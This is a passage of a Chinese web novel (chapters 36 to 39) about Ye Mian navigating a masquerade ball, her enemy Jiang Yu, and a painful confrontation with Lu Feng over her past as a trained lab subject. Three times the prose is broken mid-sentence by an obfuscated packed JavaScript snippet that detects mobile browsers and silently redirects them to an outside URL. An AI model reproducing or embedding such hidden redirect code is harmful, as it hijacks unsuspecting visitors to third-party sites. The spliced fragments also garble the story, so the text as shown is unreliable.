“怎么不合适?不想杀他?”法蒙手指微动,从手腕滑到她掌心,五指钻入她的指缝,仿佛亲密恋人的十指相扣。 叶眠已经有点演不下去了:“你知道我说的不是陆风,他根本无所谓。” “对,就是这样,”法蒙微微后撤,语气竟然出奇的温和,顺着她的话说,“他真的无所谓。” 趁这个机会,叶眠把手挣松了一点,换了个认真的口吻:“他对我来说无所谓,那如果你的家人要跟陆风联手呢?” “不知所言。”法蒙说,摩挲着她的手指,“德里克再不济也不会跟反抗军联手。” “是我亲耳听到的,”叶眠语气微急,“都什么时候了,你家的事,你不应该比我更清楚?” 法蒙被她带的一乐:“你从哪听的消息?” 叶眠几乎不反抗的举动仿佛给了他一些鼓舞,他还在想:可能叶眠真的觉得无所谓,所以也不会在乎他曾经把她当成卧底工具。 结果,叶眠不客气地打破了他的感觉良好:“我在四楼听的,窃听器放在外平台,你现在去找,应该还能找到。” 法蒙一愣,看起来脑子终于回到了该在的地方:“四楼?内会客室的外平台?你去那做什么?” “这不重要,反正我听到了是一个老头和一个老太,说汤姆森准备给你使软手段,另外两个也准备暗杀你,最后他俩干脆准备亲自联系陆风的儿子,”叶眠说完,又补了一句,“你清醒点吧。” 法蒙确实有些冲动,但还没有不理智到完全暴露自己,既然今天拉扯下去也是没营养的扯皮,叶眠就不想跟他浪费时间了。 法蒙睫毛微动。 “根据我之前从反抗军基地里窃取的珍贵资料,陆峰跟德里克确实有过短暂合作。”法蒙冷静下来,也没拿叶眠当外人,“他们一起捣毁了一个非法实验基地,里面关了几百个异能天赋B级以上的孩子。” 叶眠:该不会是我偷的那份资料吧? 法蒙继续说:“但是从那之后就没有任何瓜葛了,因为提议合作的,是我父母,两个不计较出身和能力的理想主义者。” 他语气微涩:“艾文和安娜,他们去世了。” 家族会议上卡门给法蒙看的信,就是这对夫妻生前跟陆峰的通讯。信里没什么有实际价值的信息,但对比了私戳,确实是亲笔。 安娜每年都会去死星和垃圾星探访,私下接济一些比较困难的家庭和孤儿组织,机缘巧合发现了那个藏在盆地中的巨大基地,于是主动联系了军事力量前去解救实验体。 “根据反抗军的资料,那一方‘军事势力’,其实就是反抗军。” 法蒙进入状态比叶眠想得要快,叶眠心道:果然对于这些人来说,不论是他还是陆风,感情什么的,还是不如事业重要啊…… 法蒙说:“我怀疑我父母的死亡背后有反抗军手笔,但是在知道他们曾经合作后,现在反而有些不确定了。” 叶眠想起陆风的眼睛:“反抗军内部不和平,陆峰也死了,说不定确实如你所想,只是动手的不是陆峰这一边呢?” 法蒙点头:“所以最重要的还是换届,我会摸清他们的地点,提前部署,一网打尽。” 他嘴角微抿,话里流露肃杀之意。 叶眠耸肩:“那么今天就这样?” 法蒙手指微蜷。他想要一个确切的答案,已经做到这一步了,他心知自己已经无路可退。但,有时候对方的回避就已经说明了一切。 他想,没事,还有时间,叶眠并不在意陆风,等陆风死后,他们会有很多的时间。 叶眠整理了一下裙摆,德里克家的天之骄子就这么直勾勾地看着她,明明什么动作都没有,却硬是表达出了一种生硬的挽留。 你留你的,我走我的。 叶眠微微一笑,就在准备推门而出的时候,她突然停下脚步,转身,最后问了一遍:“法蒙,这个,你不准备给我解开,对吗?” 法蒙薄薄的嘴唇一动,眼中有冲动,有挣扎,还有不信任。 “好了,不必再说。” 叶眠心中叹息:这次真的给你机会了。 她戴稳那副华丽的孔雀面具,确保刚刚的短暂交锋没有留下太多痕迹,随后拉开休息室的门,穿过走廊,重新回到楼下。 舞会正式开始,觥筹交错,有几对宾客在舞池中跳舞,但更多的都留在舞池之外,交流着对那位德里克的猜想和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261299|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揣测。 叶眠本想避人视线,然而,她刚拿起一杯侍者托盘中的香槟,一个身影便挡住了去路。 来人戴着镶嵌宝石的独眼面具,露出的那只眼睛紧紧锁住她,即使隔着面具,叶眠也能感受到那目光中混杂的审视、惊疑,以及一丝不易察觉的……被冒犯的怒意? 他微微倾身,用一种刻意压低的、只有两人能听清的音量开口,声音里带着他惯有的柔和,却因为奇特的态度而显得有些紧绷: “这位小姐的舞姿,令人印象深刻。” 叶眠心中微提,但面上丝毫不显。 她再次体验到了“故人重逢应不识”的憋闷:……你是谁? 叶眠晃了晃杯中金黄的液体,语气轻描淡写,甚至带点被陌生人打扰的疏离:“谢谢。抱歉,您是?” 蒋钰的嘴角似乎抽动了一下,他显然不信她没认出他,或者说,他不信“叶绵绵”认不出他。 “一面之缘或许不足挂齿,”蒋钰的目光落在她纤细的、空无一物的手指上,语气愈发意味深长,“只是觉得小姐格外眼熟,像极了一位……故人。” “哦?”叶眠挑眉,面具下的红唇勾起一抹玩味的弧度,“看来您那位故人,肯定也是位美人吧。这夸奖我收下了。” 她四两拨千斤,完全不上套。 蒋钰眼底的阴鸷之色更浓。他向前逼近半步,试图营造压迫感:“她确实‘曾经’很有风姿,不过后来做了些蠢事,如今怕是早已容颜凋零,在某个不见天日的地方赎罪。” 这话几乎是明示了。 叶眠翻尽所有记忆,终于找到了一个疑似能对得上号的家伙。 ——蒋钰。 那位跟她之间横贯杀父之仇的少爷。 叶眠淡定地想:看来蒋钰也已经起疑,但无法确定自己就是叶绵绵。 不过他这个态度,是不是有点太暧昧了?不是杀父仇人吗? 她故作惋惜地叹了口气:“那真是可惜了。不过,这位先生,在舞会上一直谈论另一位女士,恐怕不太礼貌吧?尤其是对您的女伴而言。” 叶眠的目光意有所指地扫过他身后,那里站着一位等候半天的女士,此刻正咬着红唇眼带哀怨,不知道跟蒋钰是什么关系。 蒋钰被她不软不硬地顶了回来,脸色更难看了。 “我没带舞伴,”蒋钰偏过头,冷淡而厌烦地对那位女士说,“滚。偷听这么久,还要我请你离开吗?” 叶眠在心中“啧”了一声。 蒋钰习惯了叶绵绵的逆来顺受,此刻这种带着刺的、游刃有余的陌生姿态,让他极度不适,却又抓不到任何把柄,总不能在这里直接掀开她的面具,或者大喊“你是我那该死在监狱里的妻子”吧? 他深吸一口气,终于撕破了一点温文的伪装,语气带上了居高临下的命令:“你究竟是谁?” 叶眠孔雀面具后的眼睛平静无波,甚至带着一丝怜悯:“我是德里克先生的舞伴。这个答案,您满意吗?蒋钰先生。” 她点破了他的身份,语气平淡得像在说今天天气不错。 蒋钰脸色阴得仿佛酝酿风暴的大海,他怒极反笑:“好,好,我倒要看看你到底是谁,小姐。你最好把尾巴都藏好,不然……” “就等着被我抓回身边,尝尝违背主人的后果吧。” 蒋钰走了,叶眠脑子里把他的最后一句话狠狠地咀嚼了一下。 如果她没理解错的话……叶绵绵竟然还有角色扮演的癖好吗? 主仆play??? 37. 第 37 章 叶眠提前离场、换掉礼服,刘仁把她直接送回了反抗军基地外。 她不太想碰到陆风,因为解释起来太麻烦,于是特意打了个时间差,想避开人。 从商场下到基地内部,房门刚关上,还没来得及开灯,一股强大的力量便猛地将她按在了门板上! 黑暗中,熟悉的气息包裹了她,带着压抑的怒火和一丝不易察觉的……恐慌。 是陆风。 他呼吸粗重,喷在她颈侧,手臂如铁钳般箍着她的手臂,力道大得几乎要捏碎骨头。 “你去哪了?”他的声音沙哑得厉害,每个字都像是从牙缝里挤出来的。 叶眠没挣扎,只是很快适应了黑暗,看着眼前男人模糊的轮廓,甚至有些疑惑的样子:“怎么了?” 陆风低笑一声,笑声里带着些许嘲意:“怎么了?你要让我说吗?德里克的第一支舞,嗯?你知道多少人都在讨论你吗?” 他认出来了。叶眠心想。 “对方突然邀请,我不好拒绝。”她言简意赅,试图用抽离冷静的态度平息他的怒火。 “不好拒绝?” 陆风的手指抚上她的脸颊,指尖带着薄茧的粗糙,仿佛下一秒就要磨破她的脸皮:“我看着你们跳舞,看着他对你……叶眠,你知不知道他看你是什么眼神?” 他的语气看似平静,却有种触及崩溃边缘的疯感。那种所有物被觊觎、甚至可能失去的恐惧,混合着被欺瞒的愤怒,几乎要将他点燃。 “你觉得我不懂吗?嗯?” 那是跟我看你一样的眼神。他在心中说。 只是这话说不出口,如果可以,他连想都不愿想。 叶眠默了一下。 “说话,叶眠。” 她能感受到陆风身体绷得发紧,虽然没有流露杀意,但如果处理不好,恐怕会很难看。 “陆风,”她叫了他的名字,声音和缓,带着安抚,“没事,你看,我回来了。” “没事?”陆风几乎是低吼出声,他猛地低下头,呼吸交错,气氛陡然变得暧昧而危险,“叶眠,我要的是解释。” 告诉我一切。 从头到尾,为什么你们认识,为什么他会邀请你跳舞,你们之间有什么联系,以后还会不会见面…… 所有的细节,一字不漏地告诉我。 然后说,你心里只有我。 一直,只有我。 “我给你机会解释,叶眠。” 陆风微微闭了闭眼,努力平复呼吸,抬手击出一缕风,精准地按开了室内的灯光。 叶眠趁他后撤,单手勾过挎包,借着取东西的姿势,给自己手臂快准狠地来了一针。 如果冲突在所难免,她不想束手就擒。 灯亮起来,两人之间的气氛却没有缓和。陆风在等,执着地等,等她开口。 叶眠叹了口气,心想怎么都得拖到药效发作,她指了指沙发:“我们坐下说吧。” 陆风感受到一种如同等候宣判的凌迟,叶眠却在他迫人的注视下先给自己倒了杯水。 在他即将坐不住的时候,叶眠终于喝完了,平和地说:“你想知道什么,你问,我答。” “为什么会跟法蒙认识?” 叶眠实话实话:“在C监,他是典狱长。” “我问的不是见面,”陆风上身前倾,双手交叉,目光紧紧地锁着她的眼睛,“你们的交情,从哪天、哪件事开始?” “因为我想活,陆指挥。” 说出这句话,叶眠由衷地感觉通体舒畅。 她想,这次可是你亲自把刀子递到我手里的。 “因为我二判死刑,孤立无援,而你在外面无动于衷,从头到尾。” “但我想活。” 陆风的呼吸骤然一停,那双深棕色的眼睛里涌上一些颤抖的痛意,复杂得像是大海里最难解的暗潮。 “法格里布根本不想管胖子,是典狱长出手,我才能获得假释,”她向后靠了靠,坐姿松散,“没有他,我现在早就长眠在C监处刑场了。” “他凭什么帮你?”陆风咬着牙问。 “你想听什么答案?嗯?他对我见色起意,然后我无以为报、所以出卖自己?” 叶眠没有正面回答,只一个字一个字往他心里扎,扎得毫不犹豫,扎得大快人心。 陆风断然否认:“法蒙不近女色,不可能。” “你知道生理性喜欢吗?”叶眠稍微靠近一些,点了点他的胸膛,“不是你我这种……是更爆裂澎湃的渴望,来自生物本能的吸引,像某种化学反应,在他意识到之前,一这种冲动就已经存在了。” 不因身份和背景而顾虑,不因地位或品德而动摇,在法蒙仍认为叶眠是一个可有可无的女死囚时,疯狂的种子就已经埋下。 叶眠走神一瞬,想起在天空之脊的那场偶遇。 那时追着她质问的法蒙,和现在这个急于求证的陆风,冥冥之中都落到了同样的位置,为情所困、被动而无助,不过法蒙还能留一分体面,陆风的话…… 陆风呼吸再起变重,嘴里好像有血腥气涌上,他再次控制不住地闭上眼,只因不想露出一丝一毫的脆弱和痛苦。 是的,他当时没肯救叶绵绵。 这是他亲手做的因,而现在的一切,都是他的果。 “那我们这些天,从C监出来,到今晚,”他连开口都有些困难,像是真被刺伤了一样,甚至不敢抬眼看她,“都是假的吗?失忆,你说想要认识我、了解我,晚上我们一起睡……都是假的吗?” 叶眠几乎要可怜他了。 “不全是,”她语气和缓,带着种温柔的无情,“失忆是真的,我说叶绵绵死了,没骗你呀。” 陆风猛然抬头。 叶眠继续说:“想认识你自然是真的,毕竟我不认识你,肯定要亲自评判一下,至于为什么一起睡……” “陆指挥,你并没有给我别的选择呀?”叶眠笑了,好像她说的这些都不是在故意扎他的心,“就像没给死刑临头的叶绵绵一个选择一样,你也没给过我机会呀。” 拥有的时候不珍惜,直到失去了才开始痛啊、悔啊,只可惜他犯的错,不会再有人包容他一笔勾销了。 陆风以为,今晚会是一场对不忠之人的质询。 现在才知道,被质询的不忠之人不是叶眠,而是他自己。 他眼圈悄悄红了,叶眠伸手摸了摸他的眼角,动作很轻,像是有些怜惜:“别哭。” “他,让你来杀我吗?” 这句话仿佛要把他的心撕开,但陆风偏偏就是想问,哪怕只咬着最后一口气了,也还是想问。 “你想替他杀了我吗?” 他语气执着,却不知道自己已经狼狈到了极点,活像被赶出家门的狗,不肯走,呜呜咽咽地在门外等,仿佛只要等下去,就能等到人的怜悯。 眼白上带了红血丝,陆风的眼里只盛着一个叶眠,一个能一句话判他活、一句话判他死的叶眠。 叶眠和善地说:“现在的话,不想。” 她稍微凑近,陆风下意识闭上眼,把呼吸压到清浅,感受她摸过自己的眼睛,摸掉了自己眼角一点微不可察的潮湿。 叶眠在心里叹了口气。 如果她足够无情,现在就应该直接下杀手。 可是她天生好人牌,看人哭得好看就会心软。 “别哭了,陆指挥。” 她说。 “叶绵绵只是死了,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261300|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是不爱你了。” 陆风手指攥拳,深深地掐进手心里。有几秒呼吸声完全消失,像是一座寂静了几百年的雕像,被人从最里边敲碎了。 叶眠松手起身准备让他静一静,没想到手腕又被抓住。 “叶绵绵死了,那你是谁?”陆风问,一个字一个字地往外吐,“你不是叶绵绵的话,还能是谁?” 叶眠有点惊讶,他竟然还不死心。 “我是叶眠啊。” “你也喜欢我的眼睛,”陆风仿佛抓住了最后一根稻草,“你也喜欢看……看我哭。” 叶眠悄悄看了一眼藏在桌腿后面的酒瓶子,心想等陆风醒了,回头想起把自尊都掰碎了扔地上踩两脚只为了让她回头的行径,恐怕得难受到把知情人都宰了泄愤。 陆风浑然不觉。 叶眠站着,他坐着,于是他只能仰视,把自己的一切暴露无遗。这些话他说得艰难,但他觉得,如果今天不说,可能以后就没机会了。 “你确实变了。” 你只是不会再为情所困了。 “但人总不可能,不可能一下子变成另一个人的。我们都认识,这么多年了,从基地救出你的时候,你才那么大点……一直到现在,我怎么会认不出你呢。” 陆风有些哽咽,他固执地睁着眼,死死抓着她,恨不得把她忘记的过去,一点一点塞回她脑子里。 “我不可能认不出你的,”他克制地拉过她的手,在没有感受到反抗后,贴上自己胸口,“你听啊。” 心跳的速度隔着皮肉传到她掌心,叶眠简直要有些感动了,但那种醉氧的感觉出现,她清楚,药效发作了。 现在,一次难得的机会摆在她眼前。 只要她动动手指,一线绝对零度就可以刺破陆风的心脏,但作为代价,她会有几秒钟完全失去失去意识。 如果杀不了陆风,她就得死。 要动手吗? 叶眠的犹豫落在陆风眼里就成了动摇,他继续说:“我们可以去以前的一起走过的地方,试试能不能找回记忆,叶眠,如果你愿意,我们甚至可以从死星开始,好吗?” 死星? 联系到“从基地救出你”,叶眠眼神稍微一动。 “陆风,别这样,”她松了口,一只手摸了摸他发胶还没处理干净的头发,“你去洗个澡,冷静一下。” “你要走吗?” 陆风眼睛一亮,但随即又暗下去,让叶眠再次想到犬类。 “我不走,去吧。” 陆风被她推进了浴室,水声响起。叶眠坐回到沙发上,深深地叹了口气。 死星。 她都快忘了自己离奇的梦,还有无可追溯的身世。 等陆风出来说不定还有一番拉扯,叶眠放松身体,又突然想起蒋钰。 那位爱玩主仆play的大少爷,背靠前审判长,虽然是个草包,但不知道现在手里势力还有多少。 最好问问陆风,蒋钰跟前身又是什么关系,然后提前准备好…… 叶眠想着想着,竟然开始犯困。 一看时间已经到了半夜十二点,她一晚上也是劳心费力,确实有点疲倦。 眯一会儿吧……现在的陆风应该不会对我起杀心了。 毕竟他比她还坚信叶眠就是叶绵绵,刚大彻大悟追悔莫及的男人,指不定能做出什么挽留的事呢。 连你爱看我哭都说出来了,啧…… 念头从成型到落地好像只有一瞬间,可叶眠再睁眼的时候,自己已经被好好地塞进被窝里。 她茫然地眨了眨眼,一转头,对上陆风一双蕴含无限复杂情绪的眼睛。 叶眠:好像睡过了。 陆风看起来已经酒醒了。 38. 第 38 章 “几点了?”叶眠哑着嗓子问。 陆风看了眼时间:“三点。” 凌晨三点。 叶眠希望时间能倒退回到陆风会趁着两分醉意、说话好听还掉眼泪的那个阶段,所以她缓慢地闭上眼又睁开,无事发生。 陆风眼里的红血丝只多不少,叶眠偏着头,问:“你一直没睡?” 他单手撑着侧脸,语气自然:“在看你,睡得挺香的。” 人看起来平静了很多,也没有要情绪反扑的迹象。叶眠不由问:“都记得?” 陆风反问:“记得什么?” 两人对视间,气氛无形黏稠。 “记得你跟法蒙的那点破事,还是你一直因为我见死不救而怀恨在心?”陆风说,“都记得。一瓶红酒而已。” 他这么平静,反而有点让叶眠拿捏不准了。 “那你怎么想呢?”叶眠索性把话摊开说,“你都知道了,我现在对你没什么感情,甚至可能跟法蒙有一腿,那你准备怎么处理我呢?” “你也说了只是可能,”陆风不为所动,仿佛之前失态的根本不是他,“感情淡了也还能再培养,胖子还在基地里等着见那些法格里布,你不会绝情到一走了之吧?” 他语气笃定,叶眠没否认。 “你要用胖子挟制我吗?”叶眠换了个姿势,定定地看着陆风的表情。 陆风端详着她的神色:“我知道你不喜欢束缚,叶眠,其实叶绵绵也是这样……” “你确定要说叶绵绵吗?”叶眠把手从被子里伸出来,两根手指夹住他的睡衣领子,微微一扯。她没用力气,但暧昧中隐隐带着威胁。 “你总要知道的。她是什么人、做过什么事、招惹过什么角色……而这些我都知道,只要你想听,我都可以告诉你,”陆风抓住她的手,恰好是她使劲就能挣开的力道,“比如,蒋钰。” 叶眠眉梢一跳,没动。 陆风看她反应,叹息一样地说:“你一点都不记得了。” 这个表情太复杂,叶眠甚至能分辨出一丝后悔,但她完全摸不着头脑,只说:“这个倒是,叶绵绵留下的尾巴都得处理干净。到换届之前,我都不会走。” 比起陆指挥的后知后觉和患得患失,叶眠可没忘了,自己还打了一份工。 她的承诺说完,陆风手指瞬间失控一缩,但他立刻意识到自己太用力:“抱歉。” 态度不错,像是被顺毛了。叶眠也不觉得自己是什么捏一下就会碎的玻璃制品,随口应:“嗯。” 短暂沉默,陆风忍不住问:“那他呢?法蒙就这么放你回来吗?” 叶眠品鉴着他这句话的语气,向他确认:“你在担心吗?” 陆风抿了抿唇。 叶眠耐心地等着,在安静气氛似乎要持续到地老天荒的时候,陆风干涩地开口了:“我担心他对你不利。” 孺子可教,没说什么“不想你移情别恋”之类的蠢话。 叶眠奖励一样地笑了下,把上半身撑起来:“不管你信不信,其实我想杀法蒙是真的。他手里拿着我的禁制环钥匙,只要异能一天没恢复,他随时都能遥控取我狗命。” 陆风垂下眼睛,思索片刻,抬头说:“我帮你。” “怎么帮我?”叶眠立刻说。 “你跟他私下里有联系吧?反抗军换届,他只要知道就不可能不出手,你把消息放给他,然后我们做二级预判。” 陆风依然握着她的手指,语气涩得仿佛划过砂纸:“或者你愿意告诉我,你之前,都跟他说过什么了吗?” 陆风本来就是很会拿捏距离的人,他主动把自己放进了下位者、被动方的角色,因为如今的叶眠只能接受这种情况。 现在,她跟他甚至可能算不上朋友。 果然叶眠露出点不好意思的表情:“我跟他说过一嘴,你眼睛好像有问题,但具体的就没提了。” 一知道就立刻告诉他了吗?陆风想到这里,甚至需要克制呼吸,缓慢地忍过那一阵钻心的痛麻。 他想起叶绵绵,那个无论何时都向他交付最高忠心的人……伙伴、搭档…… 爱人。 “什么时候?”陆风顿住,仿佛一口气从唇缝里溜走,“算了。” 再问下去就不合适了,他知道,她也知道。 叶眠笑了下,继续他们之前的商讨:“那你现在有什么初步计划吗?” “换届前一个月,反抗军母舰会把坐标发到我们手里,在此之前,哪怕是指挥使,除了进攻组的人也无法获知母舰的去向。”陆风说,“反抗军的军队随母舰四方出征,但一直没被联盟彻底击垮的原因就在这里。” 叶眠了然地说:“所以我们就先等着。” “是,”陆风说,“换届之前我还有别的事要做。” “什么?” “我可以信任你吗,叶眠?”他突然问。 “当然可以,”叶眠说,“我们互不加害,也没有什么开不了口的图谋,你不用把我当趁手的下属,我也不用假装你去世的爱人,对吧?” 她眼神坦坦荡荡干干净净,却像是在陆风心口又扎了一刀。 “……对,”他困难地开口,带着点装不下去的勉强,“你说得对。” 陆风眼睛干涩,嘴唇也有种缺水的感觉。话说到这里就说不下去了,叶眠看着他放下眼皮,好像在遮掩痛苦。 “所以?”她好脾气地问。 “所以,我之后可能不会经常在基地,”陆风再次抬眼,好像重新整理好了自己,“我得清查一遍情报部门的人,法蒙的手,伸太长了。” “这条可以说吗?”叶眠问完就意识到,他那句“可以信任吗”指的就是这里,于是善解人意地说,“好,这条不说。” 陆风简直不知道用什么表情面对她才好,他说:“你像个法蒙派来的卧底。” 叶眠推他一下,半真半假地说:“毕竟我的色诱没有成功,况且,我混在他那边其实也听到了一些风声,你想知道吗?” 叶眠并不介意分享。水越浑浊,她越好摸鱼。 “比如?”陆风配合地问。 “德里克家族内部并不和睦,法蒙有不少同辈眼红他的位置,所以暗杀之类的手段层出不穷,”叶眠察言观色,觉得他可能知道这些,于是更进一步,“而我听到的消息说,德里克的长辈也准备对他下手,老爷子可能会想来联系你。” 陆风有点没理解:“联系我?” “你父亲,陆峰,应该跟德里克家族合作过?”叶眠试探性地问。 “啊,”陆风短促地应了一声,随后说,“但他们的合作很短,就做了一件事,说起来,跟你还有点关系。” 轮到叶眠有些茫然了:“我?” “对,”陆风组织语言,“他们合作捣毁了一座试验基地,我们就是从那里把你接回来的。” “接回来,”叶眠慢慢地重复了一遍,“我是实验体吗?” 陆风无言半晌,说:“是。” 叶眠表情严肃下来:“说说具体情况。” “死星三号,别名死星912,原本是气候地理条件都不适宜人类居住的死星,但有一伙人藏在山里,建造了一座巨大的实验场。” “德里克最先发现了那里,并匿名在黑网上发布了一系列悬赏,”陆风说,“当时的进攻指挥使是陆峰,他拍板同意了这场合作,跟德里克私下接触后,很快就定下了袭击捣毁试验基地的计划。” 叶眠问:“后来呢?” “实验体都是异能天赋B级以上的孩子,本以为母舰降临,捣毁一个实验基地是手到擒来的事情,”陆峰眉头微微皱起,“但有几个实验体的异能失控了。” “死星大火。”叶眠联想得很快。 “是,异能的火不需要什么湿度、温度的条件,几个A级异能者失控的后果,就是那场星系闻名的死星大火。” 叶眠想起她的梦。 “你们的母舰真的很大,”她一瞬间似乎跟那时的叶绵绵重叠在一起,用一种很奇怪的语气说,“我以为我得救了。” 陆风再次露出那种晦涩的表情:“抱歉。” 叶眠清醒过来,不解地问:“为什么要抱歉?” “我父亲……” 陆风在她的注视下仿佛衣不蔽体,他无法躲闪,因此不得不想起父亲做的一切,那些他或许反对过、但终究还是默许顺从的决定。 “我父亲没有释放实验体,”他说,“他延续了对实验体的物理训练。” “而你是其中之一。” 叶眠一瞬间终于明白了,为什么叶绵绵的身手会好得像个特工,明明挂着秘书的名头,却没做过什么秘书的事情,甚至怎么看怎么像个指挥使干杂活的打手。 她不可思议地想:原来真是把我当特工培养的? 叶眠的微表情变化都被陆风看在眼里,他错解成了在意,于是主动补充:“救出来的实验体大概在四十个左右,你们的训练都是在星舰上进行的,包括搏斗和伪装,各种方面。” 叶眠喃喃说:“怪不得你跟我切磋都赢不了我。” 陆风笑得很苦很淡:“我们认识十年,其实我也赢过你两次的。” 他话说到这里,叶眠倒是好奇起来了:“怎么赢的?” 陆风的脸色微暗,叶眠更是心痒难耐:“叶绵绵给你放水?不用异能?” “第一次是,我父亲带我去训练室挑选助手的时候,”他深吸一口气,“当时我们已经有些熟悉了,我说,我要我打得过的,所以你主动输给了我。” 叶眠把自己跟叶绵绵分得很清,并对此人的恋爱脑相当有数,她甚至点评了一句:“那不是放水,是放海了。” “第二次……” “说啊。”叶眠看他犹犹豫豫的样子,也意识到了可能不是什么好事。 不过这个“不是好事”不是对她来说的,叶眠乐得看陆风吃瘪,主动拍了拍他的手,温声说:“没关系的,说不定你告诉我,我还能想起点什么呢?” 陆风笑得苦涩,他没有直接说事,而是先给自己交了份检讨:“我以前确实做的不对,很多事情我想得太简单,叶绵绵……我欠她很多。” 开了个头,剩下的就更顺了。 “那群实验体孩子被关在死星基地很多年,性格古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264616|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪,各方面的素质都相当强悍。陆峰认为他们……好吧,你们,好好培养就能成为反抗军的一大底牌,但因为跟普通人不太一样,大家对待实验体的态度总是不太好,哪怕后来一起共事了,地位上也略有高下。” “只是不太好吗?”叶眠敏锐地察觉了他的隐晦,并且联系上了一些自身经历,“还是完全不当人?” 她口吻有些尖锐,但心里只觉得荒唐。 都是人类小孩,有些人从小衣食无忧、被父母惯着长大,而有些被抓紧实验基地,不知道遭了什么非人的折磨,终于逃出生天,却因为“奇怪”被当作异类,被毫无负担地当成工具使用……这算是什么道理? 陆峰后牙微微锁紧,沉默了一会儿,苍白地说:“对不起。” 叶眠不愿替叶绵绵认下这声晚来的道歉,问:“所以她第二次到底是怎么输给你的?” 陆风深深地看着她,仿佛只有这样才能支撑着他说完这句话。 “我说,我要杀蒋仕临。” “蒋仕临的儿子一直没有结婚,我们需要一个女人,从他们内部突破。” 他的声音很低、很重。 而叶眠,在这一刻对眼前之人的失望达到了顶峰。 她甚至觉得有些荒谬。“两年前,”叶眠说,“两年前的叶绵绵,很喜欢你吧?” 陆风闭了闭眼:“是。她想了一下午,然后跟我说,我们打一架吧,全力以赴地打,如果我赢了她就去,如果我输了……” “你怎么会输呢?”叶眠怜悯地说。 原来所谓的“第二次胜利”,是建立在这样柔软的胁迫之上。 “她那么喜欢你,进了监狱还指望你来救她。根本没想过从那一步开始,她就已经是弃子了。” “噢,不止,”叶眠突然意识到了什么,“蒋钰根本不知道这背后有反抗军的手笔,他的报复都是冲着叶绵绵去的。” “蒋钰找的黑网杀手杀了她一了百了,没杀掉她也会因为二次审判走向死刑,”她有些恍然大悟,“真是好干净利索的计划。” 陆风无法否认。 他避开她的视线,默认了。 叶眠真笑出来了:“原来这就是叶绵绵的结局,被人当枪使,耍得团团转。” “……当时认为那是最优解,她的身手最好,跟我这些年,也最忠心。”陆风无力地说。 “最优解?”叶眠重复着,意味深深,“叶绵绵,看清楚点。下辈子,别喜欢这种人了。” 从实验基地到反抗军,叶绵绵从未获得真正的自由和尊重,她从一个牢笼跳到了另一个看似光鲜的牢笼,最终被榨干所有价值。 陆风的脸色在黯淡灯光下显得更加苍白,他嘴唇动了动,似乎想说什么,但最终只是更紧地握住了她的手,仿佛那是唯一的浮木。 叶眠没有挣脱,只是看着他,眼神里没有了之前的戏谑或试探,只剩下一种近乎冷酷的清明。 “陆风,你看,”她说,“你们每个人都有自己的大义、自己的计划、自己的不得已。而叶绵绵,或者说我,只是这些宏大叙事里一颗可以随时牺牲的棋子。” “不是……”陆风急切地否认,但叶眠打断了他。 “别跟我说什么失而复得后,突然意识到爱多深刻、多非我不可,”她伸出另一只手,用手指点了点陆风的胸膛,“陆指挥,你的真心,不值钱。” 陆风说不出话,有种更加失控的预感占据了他的心。 积压多年的沉疴一朝爆炸,根本不是几句话就能应付过去的,他终于开始感觉恐慌,然而已经为时太晚。 “是不是棋子,你心里清楚。以前是叶绵绵,现在是我。你刚才说帮我,是全心全意想帮我,还是想利用我对付法蒙,巩固你的权力,或者为你父亲过去的决定赎罪?” 叶眠的视线像是反射雪光的刀锋,陆风被问到哑口无言。 他有私心吗?当然有。 他想留住她,疯狂地想。但同时,他也没法一夜抛弃过去的所有坚持,于是所有情绪和意图都混在一起,连自己都难以完全厘清。 沉默本身就是一种答案。 叶眠似乎并不意外,她缓缓抽回自己的手,动作并不激烈,却带着一种冰凉的疏离。 “换届之前,我会留在基地,为了胖子,也为了我自己。”她重新躺下,拉高被子,侧过身,背对着他,“至于其他的,陆指挥,我们暂时还是保持纯粹的‘互不加害’的合作关系吧。” 她一副拒绝再交谈的姿态。陆风僵在原地,心脏像是被无数条铁链穿过,痛到他甚至想抬起手,试试它是否还在跳动。 原来言语字句不见血,却可以比子弹更夺人呼吸,原来冷静的划清界限,会比激烈的争吵更令人绝望。 他的挽留在这一刻的绝对理智面前,显得如此可笑而苍白。 她不恨他,或许是因为连恨这种强烈的情绪,都觉得是浪费了。 陆风坐了许久,久到凌晨五点的闹钟被第一时间摁灭,他终于缓缓起身,没有离开,只是走到卧室外的沙发上,和衣躺下。 他睁着眼,看着天花板上模糊的轮廓,一夜无眠。 39. (9.6日更新) 叶眠最满意的一点是,陆风展现的态度足够真诚,看起来也的确在试图弥补。 